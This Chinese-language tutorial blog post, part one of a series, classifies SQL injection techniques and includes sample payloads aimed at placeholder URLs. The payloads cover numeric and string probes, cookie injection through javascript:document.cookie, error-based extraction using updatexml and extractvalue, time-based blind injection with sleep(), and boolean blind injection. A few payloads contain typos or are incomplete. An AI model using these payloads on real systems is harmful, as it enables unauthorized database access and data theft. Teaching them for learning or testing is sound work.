SQL注入(一)

一、注入点的不同

(1)数字型注入:

        当前端页面存在id等数字类型的输入参数且后端服务器代码对传入的SQL语句中的参数没有做特殊符号闭合时,存在的类型则为数字注入。

测试代码如下:

http://www.xxx.xx.com/?id=1                 //正常的URL访问
http://www.xxx.xx.com/?id=1 and 1=2         //页面返回异常则说明存在数字型注入

 (2)字符型注入:

        若后端服务器代码对传入的SQL语句中的参数做特殊符号闭合,则存在的类型即为字符型注入

测试代码如下:

http://www.xxx.xx.com/?id=1             //正常的URL页面访问
http://www.xxx.xx.com/?id=1 and 1=2     //页面返回正常则可能存在数字注入,页面报错则存在字符型
http://www.xxx.xx.com/?id=1'            //通过给传入的参数添加不同符号判断后端代码采用的闭合方式

后端数据库代码:

SELECE * FROM table_name where id='$id';
PS: 该语句采用单引号闭合的方式

二、参数提交方式不同

(1)GET提交方式:

参数通过GET方式提交到后端服务器代码,上传的参数会添加到URL后面

如:http://www.xxx.xx.com/username=xxx&password=xxx

(2)POST提交方式:

POST通过request body传递参数,传递的参数不会在URL后面显示出来

如:http://www.xxx.xx.com

(3)COOKIE传参:

原理:修改本地cookie的值,从而利用cookie来提交非法语句

cookie注入的条件:

条件1、程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤

条件2:在1 的基础上还需要后端服务器程序对提交数据获取的方式为request('xxx')方式,request()方式对传参方式不做要求。

cookie注入需要理解的概念:

        javascript:alert(document.cookie="id="+escape("222"))

        document.cookie:表示当前浏览器中的cookie变量

        alert:表示弹出一个对话框,在该对话框中单击确定按钮确认信息

        escape():该函数用于对字符串进行编码

注入方式:

        1.判断是否存在cookie注入,通过修改cookie值:

        javascript:alert(document.cookie="id="+escape("222"));

        在次访问若弹窗则证明存在cookie注入

        2.猜解列数:

        javascript:alert(document.cookie="id="+escape("284 order by 10"));

(4)HTTP注入

三、获取SQL信息方式的不同

(1)报错注入

原理:利用数据库的某些机制,人为的创造错误条件,致使查询信息可以显示在报错信息中。

1》updatexml()函数:

        作用:返回替代的xml片段

        语法:UPDATEXML (XML_document, XPath_string, new_value);

        原理:当updatexml参数错误时会报错

注入代码如下:

SELECT * FROM table_name WHERE id='and(select updatexml("anything",concat('~',(select语句())),"anything"))

2》extractvalue()函数:

        作用:使用XPath表示法从XML字符串中提取值

        语法:extractvalue(xml_document,Xpath_string)

        原理:使用XPath表示法从XML字符串中提取值

注入代码如下:

SELECT * FROM table_name WHERE id='and(select extractvalue(1,concat(0x7e,(select database()))))

(2)延时注入

原理:延时注入又称时间盲注,也是盲注的一种。通过IF语句构造延时注入语句后,浏览器页面的响应时间来判断正确的数据。

场景:页面没有任何变化

相关函数:

         substr(str,pos,len);从pos开始截取len个字符

         length():MySQL中表示返回字符串所占的字节数,Oracle中表示字符串的长度(通常用来查询字符串长度)

        assicll():将字符转换为ASCII码(在Oracle中chr()函数和ASCII()是一对反函数)

        IF(a,b,c): 若a 条件为真返回b,为假返回c。

        sleep(num):强制让语句停留num秒在返回。

        mid(str,pos,num) :截取指定位置指定长度的字符串

注入方式:

判断库长度:select user from test where id=1 and if((length(database())=4),sleep(5),1);

库名:select user from test where id=1 and if((ascii(substr(database(),1,1))=116),sleep(5),1);

(3)布尔盲注

场景:页面返回的错误信息被屏蔽,只返回一个错误页面,不返回错误信息

原理:boolean注入就是系统屏蔽返回错误信息,只返回是或不是,所以我们不能直观的得到数据库信息,在这里,我们就只能通过boolean盲注进行注入。

常用函数:

        ord():装换为ASCII码的值

注入方式:

?id=0' or ascii(substr(database(),1,1)) > 112 --+

下一篇:SQL注入(二)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值